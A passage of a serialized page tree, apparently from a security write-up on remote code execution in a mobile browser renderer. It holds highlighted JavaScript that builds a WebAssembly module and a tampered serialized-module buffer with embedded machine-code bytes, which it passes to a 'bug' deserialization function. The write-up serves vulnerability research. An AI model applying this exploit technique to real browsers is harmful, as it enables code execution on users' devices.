value":140642},{"type":24,"tag":271,"props":143760,"children":143761},{"style":288},[143762],{"type":29,"value":606},{"type":24,"tag":271,"props":143764,"children":143765},{"style":630},[143766],{"type":29,"value":140651},{"type":24,"tag":271,"props":143768,"children":143769},{"style":288},[143770],{"type":29,"value":1155},{"type":24,"tag":271,"props":143772,"children":143773},{"class":273,"line":339},[143774,143778,143782,143786,143790,143794,143798,143802,143806],{"type":24,"tag":271,"props":143775,"children":143776},{"style":278},[143777],{"type":29,"value":143371},{"type":24,"tag":271,"props":143779,"children":143780},{"style":630},[143781],{"type":29,"value":86799},{"type":24,"tag":271,"props":143783,"children":143784},{"style":624},[143785],{"type":29,"value":1712},{"type":24,"tag":271,"props":143787,"children":143788},{"style":630},[143789],{"type":29,"value":140621},{"type":24,"tag":271,"props":143791,"children":143792},{"style":288},[143793],{"type":29,"value":41},{"type":24,"tag":271,"props":143795,"children":143796},{"style":630},[143797],{"type":29,"value":45554},{"type":24,"tag":271,"props":143799,"children":143800},{"style":288},[143801],{"type":29,"value":41},{"type":24,"tag":271,"props":143803,"children":143804},{"style":630},[143805],{"type":29,"value":140691},{"type":24,"tag":271,"props":143807,"children":143808},{"style":288},[143809],{"type":29,"value":1069},{"type":24,"tag":271,"props":143811,"children":143812},{"class":273,"line":347},[143813],{"type":24,"tag":271,"props":143814,"children":143815},{"emptyLinePlaceholder":16},[143816],{"type":29,"value":327},{"type":24,"tag":271,"props":143818,"children":143819},{"class":273,"line":356},[143820],{"type":24,"tag":271,"props":143821,"children":143822},{"style":2058},[143823],{"type":29,"value":143824}," // %WasmTierUpFunction(func);\n",{"type":24,"tag":271,"props":143826,"children":143827},{"class":273,"line":365},[143828,143833,143837,143841,143845,143849,143853,143857,143861,143865,143869,143873,143877,143881],{"type":24,"tag":271,"props":143829,"children":143830},{"style":749},[143831],{"type":29,"value":143832}," for",{"type":24,"tag":271,"props":143834,"children":143835},{"style":288},[143836],{"type":29,"value":1357},{"type":24,"tag":271,"props":143838,"children":143839},{"style":278},[143840],{"type":29,"value":19490},{"type":24,"tag":271,"props":143842,"children":143843},{"style":630},[143844],{"type":29,"value":11125},{"type":24,"tag":271,"props":143846,"children":143847},{"style":624},[143848],{"type":29,"value":1712},{"type":24,"tag":271,"props":143850,"children":143851},{"style":477},[143852],{"type":29,"value":767},{"type":24,"tag":271,"props":143854,"children":143855},{"style":288},[143856],{"type":29,"value":24920},{"type":24,"tag":271,"props":143858,"children":143859},{"style":630},[143860],{"type":29,"value":11462},{"type":24,"tag":271,"props":143862,"children":143863},{"style":624},[143864],{"type":29,"value":16432},{"type":24,"tag":271,"props":143866,"children":143867},{"style":477},[143868],{"type":29,"value":143293},{"type":24,"tag":271,"props":143870,"children":143871},{"style":288},[143872],{"type":29,"value":24920},{"type":24,"tag":271,"props":143874,"children":143875},{"style":630},[143876],{"type":29,"value":11462},{"type":24,"tag":271,"props":143878,"children":143879},{"style":624},[143880],{"type":29,"value":834},{"type":24,"tag":271,"props":143882,"children":143883},{"style":288},[143884],{"type":29,"value":919},{"type":24,"tag":271,"props":143886,"children":143887},{"class":273,"line":374},[143888,143893],{"type":24,"tag":271,"props":143889,"children":143890},{"style":598},[143891],{"type":29,"value":143892}," func",{"type":24,"tag":271,"props":143894,"children":143895},{"style":288},[143896],{"type":29,"value":4230},{"type":24,"tag":271,"props":143898,"children":143899},{"class":273,"line":384},[143900],{"type":24,"tag":271,"props":143901,"children":143902},{"style":288},[143903],{"type":29,"value":13588},{"type":24,"tag":271,"props":143905,"children":143906},{"class":273,"line":393},[143907],{"type":24,"tag":271,"props":143908,"children":143909},{"emptyLinePlaceholder":16},[143910],{"type":29,"value":327},{"type":24,"tag":271,"props":143912,"children":143913},{"class":273,"line":402},[143914,143918,143922,143926,143930,143934,143938],{"type":24,"tag":271,"props":143915,"children":143916},{"style":278},[143917],{"type":29,"value":15571},{"type":24,"tag":271,"props":143919,"children":143920},{"style":630},[143921],{"type":29,"value":142727},{"type":24,"tag":271,"props":143923,"children":143924},{"style":624},[143925],{"type":29,"value":1712},{"type":24,"tag":271,"props":143927,"children":143928},{"style":598},[143929],{"type":29,"value":142736},{"type":24,"tag":271,"props":143931,"children":143932},{"style":288},[143933],{"type":29,"value":606},{"type":24,"tag":271,"props":143935,"children":143936},{"style":630},[143937],{"type":29,"value":140651},{"type":24,"tag":271,"props":143939,"children":143940},{"style":288},[143941],{"type":29,"value":1155},{"type":24,"tag":271,"props":143943,"children":143944},{"class":273,"line":411},[143945,143949,143953,143957,143961,143965,143969,143973,143977,143981],{"type":24,"tag":271,"props":143946,"children":143947},{"style":630},[143948],{"type":29,"value":142772},{"type":24,"tag":271,"props":143950,"children":143951},{"style":624},[143952],{"type":29,"value":1712},{"type":24,"tag":271,"props":143954,"children":143955},{"style":288},[143956],{"type":29,"value":1357},{"type":24,"tag":271,"props":143958,"children":143959},{"style":749},[143960],{"type":29,"value":40586},{"type":24,"tag":271,"props":143962,"children":143963},{"style":630},[143964],{"type":29,"value":142727},{"type":24,"tag":271,"props":143966,"children":143967},{"style":288},[143968],{"type":29,"value":41},{"type":24,"tag":271,"props":143970,"children":143971},{"style":598},[143972],{"type":29,"value":7218},{"type":24,"tag":271,"props":143974,"children":143975},{"style":288},[143976],{"type":29,"value":142801},{"type":24,"tag":271,"props":143978,"children":143979},{"style":630},[143980],{"type":29,"value":46820},{"type":24,"tag":271,"props":143982,"children":143983},{"style":288},[143984],{"type":29,"value":1069},{"type":24,"tag":271,"props":143986,"children":143987},{"class":273,"line":420},[143988,143992,143996,144000,144004,144008],{"type":24,"tag":271,"props":143989,"children":143990},{"style":630},[143991],{"type":29,"value":108734},{"type":24,"tag":271,"props":143993,"children":143994},{"style":288},[143995],{"type":29,"value":41},{"type":24,"tag":271,"props":143997,"children":143998},{"style":598},[143999],{"type":29,"value":108743},{"type":24,"tag":271,"props":144001,"children":144002},{"style":288},[144003],{"type":29,"value":606},{"type":24,"tag":271,"props":144005,"children":144006},{"style":630},[144007],{"type":29,"value":16793},{"type":24,"tag":271,"props":144009,"children":144010},{"style":288},[144011],{"type":29,"value":1155},{"type":24,"tag":271,"props":144013,"children":144014},{"class":273,"line":429},[144015],{"type":24,"tag":271,"props":144016,"children":144017},{"emptyLinePlaceholder":16},[144018],{"type":29,"value":327},{"type":24,"tag":271,"props":144020,"children":144021},{"class":273,"line":438},[144022,144026,144031,144035,144039,144043,144047,144051],{"type":24,"tag":271,"props":144023,"children":144024},{"style":278},[144025],{"type":29,"value":15571},{"type":24,"tag":271,"props":144027,"children":144028},{"style":630},[144029],{"type":29,"value":144030}," result_bytes",{"type":24,"tag":271,"props":144032,"children":144033},{"style":624},[144034],{"type":29,"value":1712},{"type":24,"tag":271,"props":144036,"children":144037},{"style":278},[144038],{"type":29,"value":39603},{"type":24,"tag":271,"props":144040,"children":144041},{"style":598},[144042],{"type":29,"value":140257},{"type":24,"tag":271,"props":144044,"children":144045},{"style":288},[144046],{"type":29,"value":606},{"type":24,"tag":271,"props":144048,"children":144049},{"style":630},[144050],{"type":29,"value":16793},{"type":24,"tag":271,"props":144052,"children":144053},{"style":288},[144054],{"type":29,"value":1155},{"type":24,"tag":271,"props":144056,"children":144057},{"class":273,"line":447},[144058,144062,144066,144070,144074,144078,144082,144086,144090,144094,144098,144102,144106,144110,144114],{"type":24,"tag":271,"props":144059,"children":144060},{"style":630},[144061],{"type":29,"value":108734},{"type":24,"tag":271,"props":144063,"children":144064},{"style":288},[144065],{"type":29,"value":41},{"type":24,"tag":271,"props":144067,"children":144068},{"style":598},[144069],{"type":29,"value":108743},{"type":24,"tag":271,"props":144071,"children":144072},{"style":288},[144073],{"type":29,"value":606},{"type":24,"tag":271,"props":144075,"children":144076},{"style":378},[144077],{"type":29,"value":140824},{"type":24,"tag":271,"props":144079,"children":144080},{"style":624},[144081],{"type":29,"value":4253},{"type":24,"tag":271,"props":144083,"children":144084},{"style":630},[144085],{"type":29,"value":144030},{"type":24,"tag":271,"props":144087,"children":144088},{"style":288},[144089],{"type":29,"value":41},{"type":24,"tag":271,"props":144091,"children":144092},{"style":598},[144093],{"type":29,"value":140841},{"type":24,"tag":271,"props":144095,"children":144096},{"style":288},[144097],{"type":29,"value":606},{"type":24,"tag":271,"props":144099,"children":144100},{"style":378},[144101],{"type":29,"value":140850},{"type":24,"tag":271,"props":144103,"children":144104},{"style":288},[144105],{"type":29,"value":8823},{"type":24,"tag":271,"props":144107,"children":144108},{"style":624},[144109],{"type":29,"value":1012},{"type":24,"tag":271,"props":144111,"children":144112},{"style":378},[144113],{"type":29,"value":140863},{"type":24,"tag":271,"props":144115,"children":144116},{"style":288},[144117],{"type":29,"value":1155},{"type":24,"tag":271,"props":144119,"children":144120},{"class":273,"line":455},[144121],{"type":24,"tag":271,"props":144122,"children":144123},{"style":288},[144124],{"type":29,"value":108775},{"type":24,"tag":25,"props":144126,"children":144127},{},[144128],{"type":29,"value":144129},"We get the serialized bytes:",{"type":24,"tag":25,"props":144131,"children":144132},{},[144133],{"type":24,"tag":74,"props":144134,"children":144137},{"alt":144135,"src":144136},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":24,"tag":25,"props":144139,"children":144140},{},[144141,144143,144148],{"type":29,"value":144142},"We can now embed this output into the original bytecode that calls ",{"type":24,"tag":135,"props":144144,"children":144146},{"className":144145},[],[144147],{"type":29,"value":139720},{"type":29,"value":12210},{"type":24,"tag":261,"props":144150,"children":144152},{"code":144151,"language":43283,"meta":7,"className":43281,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[144153],{"type":24,"tag":135,"props":144154,"children":144155},{"__ignoreMap":7},[144156,144179,144206,144425,144492,144499,144526,144737,144988,145239,145463,145645,145866,145944,145951,145998,146041,146077,146120,146159,146186],{"type":24,"tag":271,"props":144157,"children":144158},{"class":273,"line":274},[144159,144163,144167,144171,144175],{"type":24,"tag":271,"props":144160,"children":144161},{"style":288},[144162],{"type":29,"value":606},{"type":24,"tag":271,"props":144164,"children":144165},{"style":278},[144166],{"type":29,"value":43813},{"type":24,"tag":271,"props":144168,"children":144169},{"style":288},[144170],{"type":29,"value":47364},{"type":24,"tag":271,"props":144172,"children":144173},{"style":278},[144174],{"type":29,"value":22519},{"type":24,"tag":271,"props":144176,"children":144177},{"style":288},[144178],{"type":29,"value":7145},{"type":24,"tag":271,"props":144180,"children":144181},{"class":273,"line":284},[144182,144186,144190,144194,144198,144202],{"type":24,"tag":271,"props":144183,"children":144184},{"style":278},[144185],{"type":29,"value":43856},{"type":24,"tag":271,"props":144187,"children":144188},{"style":630},[144189],{"type":29,"value":140244},{"type":24,"tag":271,"props":144191,"children":144192},{"style":624},[144193],{"type":29,"value":1712},{"type":24,"tag":271,"props":144195,"children":144196},{"style":278},[144197],{"type":29,"value":39603},{"type":24,"tag":271,"props":144199,"children":144200},{"style":598},[144201],{"type":29,"value":140257},{"type":24,"tag":271,"props":144203,"children":144204},{"style":288},[144205],{"type":29,"value":140262},{"type":24,"tag":271,"props":144207,"children":144208},{"class":273,"line":294},[144209,144213,144217,144221,144225,144229,144233,144237,144241,144245,144249,144253,144257,144261,144265,144269,144273,144277,144281,144285,144289,144293,144297,144301,144305,144309,144313,144317,144321,144325,144329,144333,144337,144341,144345,144349,144353,144357,144361,144365,144369,144373,144377,144381,144385,144389,144393,144397,144401,144405,144409,144413,144417,144421],{"type":24,"tag":271,"props":144210,"children":144211},{"style":477},[144212],{"type":29,"value":140987},{"type":24,"tag":271,"props":144214,"children":144215},{"style":288},[144216],{"type":29,"value":158},{"type":24,"tag":271,"props":144218,"children":144219},{"style":477},[144220],{"type":29,"value":140279},{"type":24,"tag":271,"props":144222,"children":144223},{"style":288},[144224],{"type":29,"value":158},{"type":24,"tag":271,"props":144226,"children":144227},{"style":477},[144228],{"type":29,"value":140288},{"type":24,"tag":271,"props":144230,"children":144231},{"style":288},[144232],{"type":29,"value":158},{"type":24,"tag":271,"props":144234,"children":144235},{"style":477},[144236],{"type":29,"value":140297},{"type":24,"tag":271,"props":144238,"children":144239},{"style":288},[144240],{"type":29,"value":158},{"type":24,"tag":271,"props":144242,"children":144243},{"style":477},[144244],{"type":29,"value":156},{"type":24,"tag":271,"props":144246,"children":144247},{"style":288},[144248],{"type":29,"value":158},{"type":24,"tag":271,"props":144250,"children":144251},{"style":477},[144252],{"type":29,"value":4121},{"type":24,"tag":271,"props":144254,"children":144255},{"style":288},[144256],{"type":29,"value":158},{"type":24,"tag":271,"props":144258,"children":144259},{"style":477},[144260],{"type":29,"value":4121},{"type":24,"tag":271,"props":144262,"children":144263},{"style":288},[144264],{"type":29,"value":158},{"type":24,"tag":271,"props":144266,"children":144267},{"style":477},[144268],{"type":29,"value":4121},{"type":24,"tag":271,"props":144270,"children":144271},{"style":288},[144272],{"type":29,"value":158},{"type":24,"tag":271,"props":144274,"children":144275},{"style":477},[144276],{"type":29,"value":156},{"type":24,"tag":271,"props":144278,"children":144279},{"style":288},[144280],{"type":29,"value":158},{"type":24,"tag":271,"props":144282,"children":144283},{"style":477},[144284],{"type":29,"value":3365},{"type":24,"tag":271,"props":144286,"children":144287},{"style":288},[144288],{"type":29,"value":158},{"type":24,"tag":271,"props":144290,"children":144291},{"style":477},[144292],{"type":29,"value":156},{"type":24,"tag":271,"props":144294,"children":144295},{"style":288},[144296],{"type":29,"value":158},{"type":24,"tag":271,"props":144298,"children":144299},{"style":477},[144300],{"type":29,"value":140362},{"type":24,"tag":271,"props":144302,"children":144303},{"style":288},[144304],{"type":29,"value":158},{"type":24,"tag":271,"props":144306,"children":144307},{"style":477},[144308],{"type":29,"value":4121},{"type":24,"tag":271,"props":144310,"children":144311},{"style":288},[144312],{"type":29,"value":158},{"type":24,"tag":271,"props":144314,"children":144315},{"style":477},[144316],{"type":29,"value":4121},{"type":24,"tag":271,"props":144318,"children":144319},{"style":288},[144320],{"type":29,"value":158},{"type":24,"tag":271,"props":144322,"children":144323},{"style":477},[144324],{"type":29,"value":4525},{"type":24,"tag":271,"props":144326,"children":144327},{"style":288},[144328],{"type":29,"value":158},{"type":24,"tag":271,"props":144330,"children":144331},{"style":477},[144332],{"type":29,"value":165},{"type":24,"tag":271,"props":144334,"children":144335},{"style":288},[144336],{"type":29,"value":158},{"type":24,"tag":271,"props":144338,"children":144339},{"style":477},[144340],{"type":29,"value":156},{"type":24,"tag":271,"props":144342,"children":144343},{"style":288},[144344],{"type":29,"value":158},{"type":24,"tag":271,"props":144346,"children":144347},{"style":477},[144348],{"type":29,"value":4121},{"type":24,"tag":271,"props":144350,"children":144351},{"style":288},[144352],{"type":29,"value":158},{"type":24,"tag":271,"props":144354,"children":144355},{"style":477},[144356],{"type":29,"value":4293},{"type":24,"tag":271,"props":144358,"children":144359},{"style":288},[144360],{"type":29,"value":158},{"type":24,"tag":271,"props":144362,"children":144363},{"style":477},[144364],{"type":29,"value":5530},{"type":24,"tag":271,"props":144366,"children":144367},{"style":288},[144368],{"type":29,"value":158},{"type":24,"tag":271,"props":144370,"children":144371},{"style":477},[144372],{"type":29,"value":156},{"type":24,"tag":271,"props":144374,"children":144375},{"style":288},[144376],{"type":29,"value":158},{"type":24,"tag":271,"props":144378,"children":144379},{"style":477},[144380],{"type":29,"value":8686},{"type":24,"tag":271,"props":144382,"children":144383},{"style":288},[144384],{"type":29,"value":158},{"type":24,"tag":271,"props":144386,"children":144387},{"style":477},[144388],{"type":29,"value":140288},{"type":24,"tag":271,"props":144390,"children":144391},{"style":288},[144392],{"type":29,"value":158},{"type":24,"tag":271,"props":144394,"children":144395},{"style":477},[144396],{"type":29,"value":140459},{"type":24,"tag":271,"props":144398,"children":144399},{"style":288},[144400],{"type":29,"value":158},{"type":24,"tag":271,"props":144402,"children":144403},{"style":477},[144404],{"type":29,"value":140468},{"type":24,"tag":271,"props":144406,"children":144407},{"style":288},[144408],{"type":29,"value":158},{"type":24,"tag":271,"props":144410,"children":144411},{"style":477},[144412],{"type":29,"value":140477},{"type":24,"tag":271,"props":144414,"children":144415},{"style":288},[144416],{"type":29,"value":158},{"type":24,"tag":271,"props":144418,"children":144419},{"style":477},[144420],{"type":29,"value":140477},{"type":24,"tag":271,"props":144422,"children":144423},{"style":288},[144424],{"type":29,"value":638},{"type":24,"tag":271,"props":144426,"children":144427},{"class":273,"line":303},[144428,144432,144436,144440,144444,144448,144452,144456,144460,144464,144468,144472,144476,144480,144484,144488],{"type":24,"tag":271,"props":144429,"children":144430},{"style":477},[144431],{"type":29,"value":140987},{"type":24,"tag":271,"props":144433,"children":144434},{"style":288},[144435],{"type":29,"value":158},{"type":24,"tag":271,"props":144437,"children":144438},{"style":477},[144439],{"type":29,"value":4121},{"type":24,"tag":271,"props":144441,"children":144442},{"style":288},[144443],{"type":29,"value":158},{"type":24,"tag":271,"props":144445,"children":144446},{"style":477},[144447],{"type":29,"value":96043},{"type":24,"tag":271,"props":144449,"children":144450},{"style":288},[144451],{"type":29,"value":158},{"type":24,"tag":271,"props":144453,"children":144454},{"style":477},[144455],{"type":29,"value":3365},{"type":24,"tag":271,"props":144457,"children":144458},{"style":288},[144459],{"type":29,"value":158},{"type":24,"tag":271,"props":144461,"children":144462},{"style":477},[144463],{"type":29,"value":156},{"type":24,"tag":271,"props":144465,"children":144466},{"style":288},[144467],{"type":29,"value":158},{"type":24,"tag":271,"props":144469,"children":144470},{"style":477},[144471],{"type":29,"value":165},{"type":24,"tag":271,"props":144473,"children":144474},{"style":288},[144475],{"type":29,"value":158},{"type":24,"tag":271,"props":144477,"children":144478},{"style":477},[144479],{"type":29,"value":4121},{"type":24,"tag":271,"props":144481,"children":144482},{"style":288},[144483],{"type":29,"value":158},{"type":24,"tag":271,"props":144485,"children":144486},{"style":477},[144487],{"type":29,"value":140553},{"type":24,"tag":271,"props":144489,"children":144490},{"style":288},[144491],{"type":29,"value":638},{"type":24,"tag":271,"props":144493,"children":144494},{"class":273,"line":312},[144495],{"type":24,"tag":271,"props":144496,"children":144497},{"style":288},[144498],{"type":29,"value":141274},{"type":24,"tag":271,"props":144500,"children":144501},{"class":273,"line":321},[144502,144506,144510,144514,144518,144522],{"type":24,"tag":271,"props":144503,"children":144504},{"style":278},[144505],{"type":29,"value":43856},{"type":24,"tag":271,"props":144507,"children":144508},{"style":630},[144509],{"type":29,"value":132057},{"type":24,"tag":271,"props":144511,"children":144512},{"style":624},[144513],{"type":29,"value":1712},{"type":24,"tag":271,"props":144515,"children":144516},{"style":278},[144517],{"type":29,"value":39603},{"type":24,"tag":271,"props":144519,"children":144520},{"style":598},[144521],{"type":29,"value":140257},{"type":24,"tag":271,"props":144523,"children":144524},{"style":288},[144525],{"type":29,"value":140262},{"type":24,"tag":271,"props":144527,"children":144528},{"class":273,"line":330},[144529,144534,144538,144542,144546,144550,144554,144558,144562,144567,144571,144576,144580,144585,144589,144594,144598,144602,144606,144610,144614,144618,144622,144626,144630,144635,144639,144644,144648,144653,144657,144661,144665,144669,144673,144677,144681,144685,144689,144693,144697,144701,144705,144709,144713,144717,144721,144725,144729,144733],{"type":24,"tag":271,"props":144530,"children":144531},{"style":477},[144532],{"type":29,"value":144533}," 146",{"type":24,"tag":271,"props":144535,"children":144536},{"style":288},[144537],{"type":29,"value":158},{"type":24,"tag":271,"props":144539,"children":144540},{"style":477},[144541],{"type":29,"value":9165},{"type":24,"tag":271,"props":144543,"children":144544},{"style":288},[144545],{"type":29,"value":158},{"type":24,"tag":271,"props":144547,"children":144548},{"style":477},[144549],{"type":29,"value":141326},{"type":24,"tag":271,"props":144551,"children":144552},{"style":288},[144553],{"type":29,"value":158},{"type":24,"tag":271,"props":144555,"children":144556},{"style":477},[144557],{"type":29,"value":141335},{"type":24,"tag":271,"props":144559,"children":144560},{"style":288},[144561],{"type":29,"value":158},{"type":24,"tag":271,"props":144563,"children":144564},{"style":477},[144565],{"type":29,"value":144566},"174",{"type":24,"tag":271,"props":144568,"children":144569},{"style":288},[144570],{"type":29,"value":158},{"type":24,"tag":271,"props":144572,"children":144573},{"style":477},[144574],{"type":29,"value":144575},"122",{"type":24,"tag":271,"props":144577,"children":144578},{"style":288},[144579],{"type":29,"value":158},{"type":24,"tag":271,"props":144581,"children":144582},{"style":477},[144583],{"type":29,"value":144584},"171",{"type":24,"tag":271,"props":144586,"children":144587},{"style":288},[144588],{"type":29,"value":158},{"type":24,"tag":271,"props":144590,"children":144591},{"style":477},[144592],{"type":29,"value":144593},"151",{"type":24,"tag":271,"props":144595,"children":144596},{"style":288},[144597],{"type":29,"value":158},{"type":24,"tag":271,"props":144599,"children":144600},{"style":477},[144601],{"type":29,"value":103457},{"type":24,"tag":271,"props":144603,"children":144604},{"style":288},[144605],{"type":29,"value":158},{"type":24,"tag":271,"props":144607,"children":144608},{"style":477},[144609],{"type":29,"value":4121},{"type":24,"tag":271,"props":144611,"children":144612},{"style":288},[144613],{"type":29,"value":158},{"type":24,"tag":271,"props":144615,"children":144616},{"style":477},[144617],{"type":29,"value":4121},{"type":24,"tag":271,"props":144619,"children":144620},{"style":288},[144621],{"type":29,"value":158},{"type":24,"tag":271,"props":144623,"children":144624},{"style":477},[144625],{"type":29,"value":4121},{"type":24,"tag":271,"props":144627,"children":144628},{"style":288},[144629],{"type":29,"value":158},{"type":24,"tag":271,"props":144631,"children":144632},{"style":477},[144633],{"type":29,"value":144634},"39",{"type":24,"tag":271,"props":144636,"children":144637},{"style":288},[144638],{"type":29,"value":158},{"type":24,"tag":271,"props":144640,"children":144641},{"style":477},[144642],{"type":29,"value":144643},"61",{"type":24,"tag":271,"props":144645,"children":144646},{"style":288},[144647],{"type":29,"value":158},{"type":24,"tag":271,"props":144649,"children":144650},{"style":477},[144651],{"type":29,"value":144652},"60",{"type":24,"tag":271,"props":144654,"children":144655},{"style":288},[144656],{"type":29,"value":158},{"type":24,"tag":271,"props":144658,"children":144659},{"style":477},[144660],{"type":29,"value":103457},{"type":24,"tag":271,"props":144662,"children":144663},{"style":288},[144664],{"type":29,"value":158},{"type":24,"tag":271,"props":144666,"children":144667},{"style":477},[144668],{"type":29,"value":4121},{"type":24,"tag":271,"props":144670,"children":144671},{"style":288},[144672],{"type":29,"value":158},{"type":24,"tag":271,"props":144674,"children":144675},{"style":477},[144676],{"type":29,"value":3993},{"type":24,"tag":271,"props":144678,"children":144679},{"style":288},[144680],{"type":29,"value":158},{"type":24,"tag":271,"props":144682,"children":144683},{"style":477},[144684],{"type":29,"value":4525},{"type":24,"tag":271,"props":144686,"children":144687},{"style":288},[144688],{"type":29,"value":158},{"type":24,"tag":271,"props":144690,"children":144691},{"style":477},[144692],{"type":29,"value":4121},{"type":24,"tag":271,"props":144694,"children":144695},{"style":288},[144696],{"type":29,"value":158},{"type":24,"tag":271,"props":144698,"children":144699},{"style":477},[144700],{"type":29,"value":4121},{"type":24,"tag":271,"props":144702,"children":144703},{"style":288},[144704],{"type":29,"value":158},{"type":24,"tag":271,"props":144706,"children":144707},{"style":477},[144708],{"type":29,"value":4121},{"type":24,"tag":271,"props":144710,"children":144711},{"style":288},[144712],{"type":29,"value":158},{"type":24,"tag":271,"props":144714,"children":144715},{"style":477},[144716],{"type":29,"value":4121},{"type":24,"tag":271,"props":144718,"children":144719},{"style":288},[144720],{"type":29,"value":158},{"type":24,"tag":271,"props":144722,"children":144723},{"style":477},[144724],{"type":29,"value":4121},{"type":24,"tag":271,"props":144726,"children":144727},{"style":288},[144728],{"type":29,"value":158},{"type":24,"tag":271,"props":144730,"children":144731},{"style":477},[144732],{"type":29,"value":37097},{"type":24,"tag":271,"props":144734,"children":144735},{"style":288},[144736],{"type":29,"value":638},{"type":24,"tag":271,"props":144738,"children":144739},{"class":273,"line":339},[144740,144744,144748,144752,144756,144760,144764,144768,144772,144776,144780,144784,144788,144792,144796,144800,144804,144808,144812,144816,144820,144824,144828,144832,144836,144840,144844,144848,144852,144856,144860,144864,144868,144872,144876,144880,144884,144888,144892,144896,144900,144904,144908,144912,144916,144920,144924,144928,144932,144936,144940,144944,144948,144952,144956,144960,144964,144968,144972,144976,144980,144984],{"type":24,"tag":271,"props":144741,"children":144742},{"style":477},[144743],{"type":29,"value":140987},{"type":24,"tag":271,"props":144745,"children":144746},{"style":288},[144747],{"type":29,"value":158},{"type":24,"tag":271,"props":144749,"children":144750},{"style":477},[144751],{"type":29,"value":4121},{"type":24,"tag":271,"props":144753,"children":144754},{"style":288},[144755],{"type":29,"value":158},{"type":24,"tag":271,"props":144757,"children":144758},{"style":477},[144759],{"type":29,"value":4121},{"type":24,"tag":271,"props":144761,"children":144762},{"style":288},[144763],{"type":29,"value":158},{"type":24,"tag":271,"props":144765,"children":144766},{"style":477},[144767],{"type":29,"value":4121},{"type":24,"tag":271,"props":144769,"children":144770},{"style":288},[144771],{"type":29,"value":158},{"type":24,"tag":271,"props":144773,"children":144774},{"style":477},[144775],{"type":29,"value":4121},{"type":24,"tag":271,"props":144777,"children":144778},{"style":288},[144779],{"type":29,"value":158},{"type":24,"tag":271,"props":144781,"children":144782},{"style":477},[144783],{"type":29,"value":4121},{"type":24,"tag":271,"props":144785,"children":144786},{"style":288},[144787],{"type":29,"value":158},{"type":24,"tag":271,"props":144789,"children":144790},{"style":477},[144791],{"type":29,"value":4121},{"type":24,"tag":271,"props":144793,"children":144794},{"style":288},[144795],{"type":29,"value":158},{"type":24,"tag":271,"props":144797,"children":144798},{"style":477},[144799],{"type":29,"value":156},{"type":24,"tag":271,"props":144801,"children":144802},{"style":288},[144803],{"type":29,"value":158},{"type":24,"tag":271,"props":144805,"children":144806},{"style":477},[144807],{"type":29,"value":4121},{"type":24,"tag":271,"props":144809,"children":144810},{"style":288},[144811],{"type":29,"value":158},{"type":24,"tag":271,"props":144813,"children":144814},{"style":477},[144815],{"type":29,"value":4121},{"type":24,"tag":271,"props":144817,"children":144818},{"style":288},[144819],{"type":29,"value":158},{"type":24,"tag":271,"props":144821,"children":144822},{"style":477},[144823],{"type":29,"value":4121},{"type":24,"tag":271,"props":144825,"children":144826},{"style":288},[144827],{"type":29,"value":158},{"type":24,"tag":271,"props":144829,"children":144830},{"style":477},[144831],{"type":29,"value":4121},{"type":24,"tag":271,"props":144833,"children":144834},{"style":288},[144835],{"type":29,"value":158},{"type":24,"tag":271,"props":144837,"children":144838},{"style":477},[144839],{"type":29,"value":4121},{"type":24,"tag":271,"props":144841,"children":144842},{"style":288},[144843],{"type":29,"value":158},{"type":24,"tag":271,"props":144845,"children":144846},{"style":477},[144847],{"type":29,"value":4121},{"type":24,"tag":271,"props":144849,"children":144850},{"style":288},[144851],{"type":29,"value":158},{"type":24,"tag":271,"props":144853,"children":144854},{"style":477},[144855],{"type":29,"value":4121},{"type":24,"tag":271,"props":144857,"children":144858},{"style":288},[144859],{"type":29,"value":158},{"type":24,"tag":271,"props":144861,"children":144862},{"style":477},[144863],{"type":29,"value":4121},{"type":24,"tag":271,"props":144865,"children":144866},{"style":288},[144867],{"type":29,"value":158},{"type":24,"tag":271,"props":144869,"children":144870},{"style":477},[144871],{"type":29,"value":3365},{"type":24,"tag":271,"props":144873,"children":144874},{"style":288},[144875],{"type":29,"value":158},{"type":24,"tag":271,"props":144877,"children":144878},{"style":477},[144879],{"type":29,"value":52793},{"type":24,"tag":271,"props":144881,"children":144882},{"style":288},[144883],{"type":29,"value":158},{"type":24,"tag":271,"props":144885,"children":144886},{"style":477},[144887],{"type":29,"value":4121},{"type":24,"tag":271,"props":144889,"children":144890},{"style":288},[144891],{"type":29,"value":158},{"type":24,"tag":271,"props":144893,"children":144894},{"style":477},[144895],{"type":29,"value":4121},{"type":24,"tag":271,"props":144897,"children":144898},{"style":288},[144899],{"type":29,"value":158},{"type":24,"tag":271,"props":144901,"children":144902},{"style":477},[144903],{"type":29,"value":4121},{"type":24,"tag":271,"props":144905,"children":144906},{"style":288},[144907],{"type":29,"value":158},{"type":24,"tag":271,"props":144909,"children":144910},{"style":477},[144911],{"type":29,"value":141362},{"type":24,"tag":271,"props":144913,"children":144914},{"style":288},[144915],{"type":29,"value":158},{"type":24,"tag":271,"props":144917,"children":144918},{"style":477},[144919],{"type":29,"value":4121},{"type":24,"tag":271,"props":144921,"children":144922},{"style":288},[144923],{"type":29,"value":158},{"type":24,"tag":271,"props":14492